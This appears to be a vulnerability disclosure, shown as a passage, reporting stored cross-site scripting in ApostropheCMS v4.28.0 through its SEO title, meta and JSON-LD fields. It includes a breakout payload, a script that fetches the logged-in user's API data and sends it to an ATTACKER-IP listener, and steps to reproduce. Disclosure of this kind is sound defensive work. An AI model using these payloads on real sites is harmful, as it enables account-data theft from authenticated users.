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This can be leveraged to perform authenticated API requests and exfiltrate sensitive data, resulting in a compromise of application confidentiality.\n\n## Affected Version\nApostropheCMS (tested on version: v4.28.0)\n\n## Vulnerability Details\nUser-controlled input in SEO fields is improperly handled and rendered into HTML contexts such as:\n\n- `<title>`\n- `<meta>` attributes\n- structured data (JSON-LD)\n\nThis allows attackers to inject and execute arbitrary JavaScript in the context of authenticated users.\n\n\n\n## PoC 1\n\n**The following payload demonstrates breaking out of HTML context:**\n```javascript\n\"></title><script>alert(1)</script>\n```\nThis confirms:\n  - Improper output encoding\n  - Ability to escape `<title> / <meta>` contexts\n  - Arbitrary script execution\n\n## PoC 2\n**This PoC demonstrates how the stored XSS can be leveraged to perform authenticated API requests and exfiltrate sensitive data.**\n```javascript\n\"></title><script>\nfetch('/api/v1/@apostrophecms/user', {\n  credentials:'include'\n})\n.then(r=>r.text())\n.then(d=>{\n  fetch('http://ATTACKER-IP:5656/?data='+btoa(d))\n})\n</script>\n```\n\n\n## Video Proof of Concept\n\nWatch the following YouTube video for a full demonstration of the exploit:\n\n**PoC Video:** https://youtu.be/FZuulua_pa8\n\n\n## Steps to Reproduce\n\n1. Start a local listener: `python3 -m http.server 5656`\n2. Login to ApostropheCMS as an authenticated user\n3.  Create or edit a page\n4.  Navigate to SEO settings\n5.  Insert the payload into the SEO Title field  and  Meta Description\n```javascript\n\"></title><script>\nfetch('/api/v1/@apostrophecms/user',{\n  credentials:'include'\n})\n.then(r=>r.text())\n.then(d=>{\n  fetch('http://ATTACKER-IP:5656/?data='+btoa(d))\n})\n</script>\n```\n6.  Set **Schema Type** to \"Web page\"\n7.  Save and publish the page\n8.  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